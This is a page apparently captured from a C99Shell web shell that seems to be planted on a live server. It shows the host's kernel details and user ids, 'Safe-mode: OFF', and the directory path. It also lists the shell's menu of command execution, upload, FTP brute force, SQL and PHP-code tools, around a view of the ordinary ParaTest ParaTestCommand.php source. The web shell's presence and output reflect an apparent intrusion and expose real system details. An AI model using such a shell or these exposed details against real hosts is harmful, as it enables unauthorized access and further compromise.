!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/brianium/paratest/src/   drwxr-xr-x
Free 28.76 GB of 117.98 GB (24.37%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ParaTestCommand.php (3.38 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
ParaTest;

use 
InvalidArgumentException;
use 
Jean85\PrettyVersions;
use 
ParaTest\WrapperRunner\WrapperRunner;
use 
PHPUnit\Runner\Version;
use 
Symfony\Component\Console\Application;
use 
Symfony\Component\Console\Command\Command;
use 
Symfony\Component\Console\Input\ArrayInput;
use 
Symfony\Component\Console\Input\InputInterface;
use 
Symfony\Component\Console\Output\OutputInterface;

use function 
assert;
use function 
class_exists;
use function 
is_string;
use function 
is_subclass_of;
use function 
sprintf;

/** @internal */
final class ParaTestCommand extends Command
{
    public const 
COMMAND_NAME 'paratest';

    private const 
KNOWN_RUNNERS = [
        
'WrapperRunner' => WrapperRunner::class,
    ];

    
/** @param non-empty-string $cwd */
    
public function __construct(
        private readonly 
string $cwd,
        ?
string $name null
    
) {
        
parent::__construct($name);
    }

    
/** @param non-empty-string $cwd */
    
public static function applicationFactory(string $cwd): Application
    
{
        
$application = new Application();
        
$command     = new self($cwdself::COMMAND_NAME);

        
$application->setName('ParaTest');
        
$application->setVersion(PrettyVersions::getVersion('brianium/paratest')->getPrettyVersion());
        
$application->add($command);
        
$commandName $command->getName();
        
assert($commandName !== null);
        
$application->setDefaultCommand($commandNametrue);

        return 
$application;
    }

    protected function 
configure(): void
    
{
        
Options::setInputDefinition($this->getDefinition());
    }

    
/**
     * {@inheritDoc}
     */
    
public function mergeApplicationDefinition($mergeArgs true): void
    
{
    }

    protected function 
execute(InputInterface $inputOutputInterface $output): int
    
{
        
$application $this->getApplication();
        
assert($application !== null);

        
$output->write(sprintf(
            
"%s upon %s\n\n",
            
$application->getLongVersion(),
            
Version::getVersionString(),
        ));

        
$options Options::fromConsoleInput(
            
$input,
            
$this->cwd,
        );
        if (! 
$options->configuration->hasConfigurationFile() && ! $options->configuration->hasCliArguments()) {
            return 
$this->displayHelp($output);
        }

        
$runnerClass $this->getRunnerClass($input);

        return (new 
$runnerClass($options$output))->run();
    }

    private function 
displayHelp(OutputInterface $output): int
    
{
        
$app $this->getApplication();
        
assert($app !== null);
        
$help  $app->find('help');
        
$input = new ArrayInput(['command_name' => $this->getName()]);

        return 
$help->run($input$output);
    }

    
/** @return class-string<RunnerInterface> */
    
private function getRunnerClass(InputInterface $input): string
    
{
        
$runnerClass $input->getOption('runner');
        
assert(is_string($runnerClass));
        
$runnerClass self::KNOWN_RUNNERS[$runnerClass] ?? $runnerClass;

        if (! 
class_exists($runnerClass) || ! is_subclass_of($runnerClassRunnerInterface::class)) {
            throw new 
InvalidArgumentException(sprintf(
                
'Selected runner class "%s" does not exist or does not implement %s',
                
$runnerClass,
                
RunnerInterface::class,
            ));
        }

        return 
$runnerClass;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0072 ]--